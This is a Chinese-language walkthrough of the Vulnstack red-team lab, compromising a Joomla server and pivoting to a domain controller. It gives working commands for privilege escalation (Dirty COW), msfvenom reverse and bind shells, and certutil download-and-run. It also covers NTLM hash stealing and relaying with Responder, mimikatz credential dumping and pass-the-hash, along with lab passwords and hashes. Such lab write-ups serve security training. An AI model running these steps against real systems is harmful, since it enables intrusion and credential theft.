环境搭建

需要添加一张192.168.93.0/24网段的内网网卡

image-20220715230940156

若是kali用的Nat模式这里不要勾选“将主机虚拟适配器连接到此网络”,若是桥接模式则勾选

拓扑图

image-20220715231439922

打靶

先用nmap进行探针nmap 192.168.184.0/24

探测到在192.168.184.137地址开有web服务

访问如下,发现是Joomla的CMS

image-20220710114851003

利用msf的auxiliary/scanner/http/joomla_version模块探测Joomla版本,发现是3.9.12版本的

image-20220710115045397

这就有点棘手了,因为版本很新,网上都是3.4、3.5之类的漏洞,看来是没法直接用,于是去找登录点看看有没有弱口令

有两处登录点,一个是前台http://192.168.184.137/index.php/author-login

image-20220710115400615

另一个是后台http://192.168.184.137/administrator/index.php(robots.txt中找到的路径)

image-20220710115413169

但是都不存在弱口令,呜呜😭

没辙了等着爆破密码,摆烂了一会儿

这个靶场是和小伙伴一起打的,在我摆烂的时候,小伙伴用dirsearch扫了一下目录,扫出来了一个configuration.php~文件,里面有mysql数据库用户名和密码testuser/cvcvgjASD!@,我直呼牛B!!(害,懒了一下没去扫目录,不能懒啊!)

image-20220710120843966

image-20220710120915806

直接用Navicat登录成功,查看umnbt_users表,获得用户名密码admin/$10$N/Yv/9rzxyq.z0gLTT5og.pj3FFAP8Sq2PcBgsMX/Qnc2671qQkHy

image-20220710121138968

这里密码加了密,没办法直接用,去somd5也没有解出来,提示此密文无法识别,真·脑阔疼,又无从下手了

image-20220710121340132

这里我想用mysql直接写shell,但是查了文章说需要root权限,完了没辙了,开摆!

这里实在是不会,就去看了一眼攻略,可以自行添加用户进行登录

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

image-20220710203030913

所以这里payload如下

1
2
3
4
5
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());

INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

这里有个小坑,我之前找的_users表没找对,umnbt_users不是后台登录的校验表,am2zu_users才是,我之间对着umnbt_users表一顿输出,一直登陆不上,后来才发现表弄错了,真的是烦!

然后终于用admin2/secret登录上了后台

image-20220710203534264

用冰蝎连shell发现disable_fuction把命令执行函数都给禁用了,然后采用哥斯拉的bypass命令执行成功

image-20220710213724093

接下来可以利用如下命令做信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
uname -a    # 获取所有版本信息
uname -m # 获取Linux内核架构
cat /proc/version # 获取内核信息
cat /etc/*-release # 发布信息
cat /etc/issue # 发布信息
hostname # 获取主机名

cat /etc/passwd # 列出系统所有用户
cat /etc/group # 列出系统所有组
w # 查看目前登录的用户
whoami # 查看当前用户
id # 查看当前用户信息
sudo -l # 列出目前用户可执行与无法执行的指令

ps aux # 查看进程信息
ls -la /etc/cron* # 查看计划任务
ifconfig -a # 列出网络接口信息
cat /etc/network/interfaces # 列出网络接口信息
arp -a # 查看系统arp表
route # 打印路由信息
netstat -anplt # 打印本地端口开放信息
iptables -L # 列出iptable的配置规则

这里遇到一个奇怪的地方,当执行ifconfig查看网卡的时候没有之前192.168.184.137这个ip,出现了一个没见过的ip地址192.168.93.120,但我并没有93这个网段的网卡应该是到不了的

image-20220711174311528

这里着实不理解,就去网上看wp了

原来,之前的184.137这台主机并不是真正的web服务器,93.100这台才是,这里是93.100这台web服务器利用184.137这台服务器做了反向代理,在后续渗透查看配置文件的时候也能证明。

网上查找资料说这样做反向代理的目的可以隐藏服务端真实ip,另外还说反向代理可以实现负载均衡

之后根据wp的提示在/tmp/mysql/test.txt中发现了一组用户名密码:wwwuser/wwwuser_123Aqx,猜测应该就是192.168.184.137这台主机ssh的用户和密码。

image-20220711204558737

尝试ssh登录成功,ifconfig查看网卡有192.168.184.137和192.168.93.100这两个ip

image-20220711180345893

并且在/etc/nginx/nginx.conf文件中查到如下信息,也证明了之前的说法(93.100这台web服务器利用184.137这台服务器做了反向代理)

image-20220711204938381

接下来就是搭代理打内网,看网上文章都在用脏牛提权,我感觉没必要提权也能打内网

这里ew,ssh代理都可以,我选择简单的ssh动态代理ssh -CfNg -D 1080 wwwuser@192.168.184.137,结合proxifier对内网进行渗透

image-20220711230354697

这里可以直接访问到内网地址说明代理成功

image-20220711230526240

接下来就用fscan进行扫描fscan64.exe -h 192.168.93.1/24 -np -o fscan_result/result93.txt(-np需要加上,因为直接ping不通),发现内网还有10、20、30这三台主机

image-20220711234256330

再用nmap进行更全面的端口扫描

1
2
3
4
5
nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F
-Pn # 扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描
-sT # TCP connect()扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息。
-sV # 探测端口服务版本
-F # 只扫描在nmap内建的服务文件中已知的端口,如果不致电给,nmap将扫描端口1~1024及包含在nmap-service文件中的所有其他端口

image-20220711235001116

发现存在域test.org,域控为93.10这台服务器,那么接下来的目标就是拿下域控了

进一步的渗透测试交到MSF上进行

1
2
3
4
5
6
7
8
9
# 利用msf生成一个木马,上传到184.137上执行
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.184.128 LPORT=4444 -f elf > shell.elf

# 在msf上开启监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run

image-20220713134118908

添加路由如下

1
2
3
4
# 添加路由
run autoroute -s 192.168.93.0/24
# 查看路由
run autoroute -p

image-20220713134631085

添加成功后,利用msf在本地开启socks代理

1
2
3
4
5
use auxiliary/server/socks_proxy
show options
set SRVHOST 192.168.184.128
set SRVPORT 1080
run

代理开好后配置/etc/proxychains4.conf文件方便后续使用proxychans4

后面都是参考wp的了,结果还没搞出来,可能是环境问题,只能强行写一下了,记录一下

有几个打法:SMB爆破MSSQL NTLM StealerNTLM Relay

SMB爆破

这里是直接根据wp在字典里加的密码,QAQ

image-20220715195130401

MSSQL NTLM Stealer

前面探测到192.168.93.20这台机开启了1433端口,尝试进行连接。账号密码则使用前面Joomla CMS那个配置文件中收集到的:testuser / cvcvgjASD!@

1
2
apt-get install freetds-bin
proxychains4 tsql -S 192.168.93.20 -U testuser

可以登录

image-20220715194331486

接下来就是在93.100这台服务器上搭建Responder环境

首先下载下面几个工具,

OpenSSL: https://www.openssl.org/source/openssl-1.1.1g.tar.gz

Python3: https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz

Responder: https://github.com/lgandx/Responder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 安装如下
# 注意,这里安装就需要root权限行了,我终于明白看的文章为什么要提权了,这里用脏牛提权就好

## 脏牛提权
$ git clone https://github.com/FireFart/dirtycow.git
$ gcc -pthread dirty.c -o dirty -lcrypt
$ ./dirty New-Password
$ su firefart

## 安装OpenSSL
$ tar -zxvf openssl-1.1.1g.tar.gz && cd openssl-1.1.1g/
$ ./config --prefix=/usr/local/openssl shared zlib
$ make && make install
$ echo 'export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/openssl/lib' >> ~/.bash_profile
$ source ~/.bash_profile

## 我本地测的时候报错说还却sqlite3
## 参考https://www.jianshu.com/p/f32ec5c9bd30
$ wget https://www.sqlite.org/2017/sqlite-autoconf-3170000.tar.gz –no-check-certificate
$ tar zxvf sqlite-autoconf-3170000.tar.gz
$ cd sqlite-autoconf-3170000
$ ./configure --prefix=/usr/local/sqlite
$  make && make install

## 安装Python3
$ tar -zxvf Python-3.6.9.tgz && cd Python-3.6.9/
$ ./configure prefix=/usr/local/python3 --with-openssl=/usr/local/openssl
$ make && make install
$ echo '
#配置python
export PYTHON_HOME=/usr/local/python3
export PATH=$PYTHON_HOME/bin:$PATH' >> ~/.bash_profile
$ source ~/.bash_profile

## 测试
$ python3
>> import ssl
>> import ctypes
>> import sqlite3
# 没有报错即为成功

## 安装依赖
$ pip3 install netifaces six pycryptodome pycryptodomex

运行Responder

1
$ python3 Responder.py -I eth1 -Pv

image-20220715204732059

Kali中使用auxiliary/admin/mssql/mssql_ntlm_stealer,执行xp_dirtree,触发UNC

配合xp_dirtree存储过程获取运行mssql服务的用户NTLM的hash值,原理是通过LLMNR/NBT-NS欺骗攻击,让MSSQL去访问我们伪造的服务,当MSSQL去执行时就会把它自己的凭证发给我们,我们通过破解它的凭证在返回登录MSSQL,得到最高权限具体操作

1
2
3
4
5
6
msf6> use auxiliary/admin/mssql/mssql_ntlm_stealer
msf6> set RHOSTS 192.168.93.20
msf6> set SMBPROXY 192.168.93.100
msf6> set USERNAME testuser
msf6> set PASSWORD cvcvgjASD!@
msf6> exploit

利用成功,此时可以看到已经获取到了NTLMv2-Hash

1
2
3
4
[MSSQL] Received connection from ::ffff:192.168.93.20
[SMB] NTLMv2-SSP Client : ::ffff:192.168.93.20
[SMB] NTLMv2-SSP Username : WIN2008\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::WIN2008:710aa5e90138c34b:F435BDB2083AC31B18639D7013BA94BE:01010000000000009553EC8E1F98D801393FF02331B1CEBF00000000020008004800580045004E0001001E00570049004E002D00360041005600430047004D003300530042004B004B0004003400570049004E002D00360041005600430047004D003300530042004B004B002E004800580045004E002E004C004F00430041004C00030014004800580045004E002E004C004F00430041004C00050014004800580045004E002E004C004F00430041004C00080030003000000000000000000000000030000011C4314A8F10C5B6E59317CE9DBBCF8859B4494BEA8E251FCE09E150BA4F27F40000000000000000

得到NTLMv2后,可以利用hashcat暴力破解

1
2
# 查看支持的Mode,这里NTLMv2的Mode5600
$ hashcat --example-hashes | less

image-20220715210758021

1
2
# 破解
$ hashcat -m 5600 hash.txt top1000.txt --force

image-20220715210830597

这里其实是把wp里的密码加到字典才爆出来的

NTLM Relay

MultiRelay中继攻击

没爆破出来可以尝试中继Win2008打Win7,发现Win2008的administrator凭据可以中继到Win7,所以可知Win2008和Win7的本地administrator密码相同。参考:https://xz.aliyun.com/t/6988#toc-4

运行前需要编译相关工具,这里我在kali完成编译再传到93.100服务器

1
2
3
$ apt-get install gcc-mingw-w64-x86-64
$ x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv
$ x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode

接下来展开中继攻击

所谓中继攻击,就是在两个合法参与方A和B之间进行的一种攻击,中间人C篡改A的消息发送给B或将B的消息篡改发送给A。 C这样做的目的是为了获得A或B的特权,这样C就可以把A的钱通过B的非接触式终端盗走。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 在93.100服务器执行
## 关闭本地的nginx服务,因为会冲突,启动nginx服务直接输入nginx即可
$ nginx -s stop

## 禁用SMB和HTTP服务,将对应选项修改为Off
$ vi Responder.conf

## 开启监听
$ python3 Responder.py -I eth1 -v -F

## 运行MultiRelay
$ python3 MultiRelay.py -t 192.168.93.30 -u ALL

# kali执行
## MSSQL触发UNC
msf6> exploit

可惜我本地测没有成功,说目标没有这个凭证

image-20220715212639480

所以接下来的步骤都是照抄wp的,太菜了QAQ

此时已经获取到Win7的Shell了,然后使用mimikatz抓取明文密码。

1
2
mimikatz "privilege::debug" 
mimikatz "sekurlsa::logonpasswords"

还可以通过dump来获得NTLM Hash,存储在Responder/tools/MultiRelay/relay-dumps目录下

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337:::

img

然后就可以用wmiexec来连接到93.20

1
2
3
4
5
6
7
8
# git clone https://github.com/SecureAuthCorp/impacket
# cd impacket/ && python3 -m pip install .

# NTLM Hash
$ proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337 administrator@192.168.93.20

# 明文密码
$ proxychains4 python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'

这里还是照着答案测了一下,终于拿下了一个windows服务器😭

image-20220715221055341

攻域控

方式一

未知Win2008明文密码,使用NTLM Hash通过WMI连接到Win2008,然后获取正向Shell,通过进程迁移提权后读取文件

MSF生成一个正向shell木马,并开启监听

1
2
3
4
5
6
7
$ msfvenom -p windows/meterpreter/bind_tcp -f exe -o bind.exe

msf6> use exploit/multi/handler
msf6> set PAYLOAD windows/meterpreter/bind_tcp
msf6> set RHOST 192.168.93.20
msf6> set LPORT 5555
msf6> exploit

然后将生成的正向马传到93.100上(这里利用scp上传),并在93.100上开启http服务

1
2
3
4
5
6
7
8
9
10
# kali中ssh连接配置
# vim /root/.ssh/config
# Host *
# HostkeyAlgorithms +ssh-rsa
# PubkeyAcceptedKeyTypes +ssh-rsa

$ scp bind.exe wwwuser@192.168.184.137:/tmp/
# wwwuser_123Aqx

$ python3 -m http.server 8080

然后通过之间WMI连接的93.20的shell,下载传到93.100上bind.exe马,并执行

1
2
3
4
$ proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337 administrator@192.168.93.20

$ certutil -urlcache -split -f http://192.168.93.100:8080/bind.exe
$ bind.exe

image-20220715224132571

上线之后执行ps,发现存在域管用户的进程,进程迁移

1
2
meterpreter> ps
meterpreter> migrate 3800

image-20220715224352593

迁移成功

image-20220715224749412

接下来就可以读取域控的文件了

1
$ type \\192.168.93.10\C$\Users\Administrator\Documents\flag.txt

image-20220715224926271

方式二

已知Win2008明文密码,使用mimikatz抓取域管密码,然后通过IPC连接域控读取文件

上传mimikatz。使用smbclient连接并上传

1
2
3
$ proxychains4 smbclient -L 192.168.93.20 -U administrator
$ proxychains4 smbclient //192.168.93.20/ADMIN$ -U administrator
$ put mimikatz.exe

image-20220715230004656

执行mimikatz,获得TEST\administrator密码:zxcASDqw123!

1
2
3
cd c:/windows
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > pwd.log
type pwd.log

image-20220715230259643

最后IPC连接到域控读取文件

1
2
$ net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator
$ type \\192.168.93.10\C$\users\administrator\Documents\flag.txt

image-20220715230516432

获得密码后其实这里可以用之前的方法,用WMI直接登录上域控93.10

1
proxychains4 python3 wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10'

image-20220715230812938

参考

Vulnstack3

Vlunstack ATT&CK实战系列——红队实战(三)Writeup

记一次Vulnstack靶场内网渗透(四)

mysql写shell的一点总结

记一次Vulnstack靶场内网渗透(四)

nginx正向和反向代理的区别本质上代理服务器还是那个代理服务器,如果替客户端干活就是正向代理,如果替服务端干活就是反向代理

Nginx 反向代理+负载均衡

代理、正向代理与反向代理

nmap 常用参数

nmap命令使用详细解释

工具

OpenSSL

Python3

Responder

impacket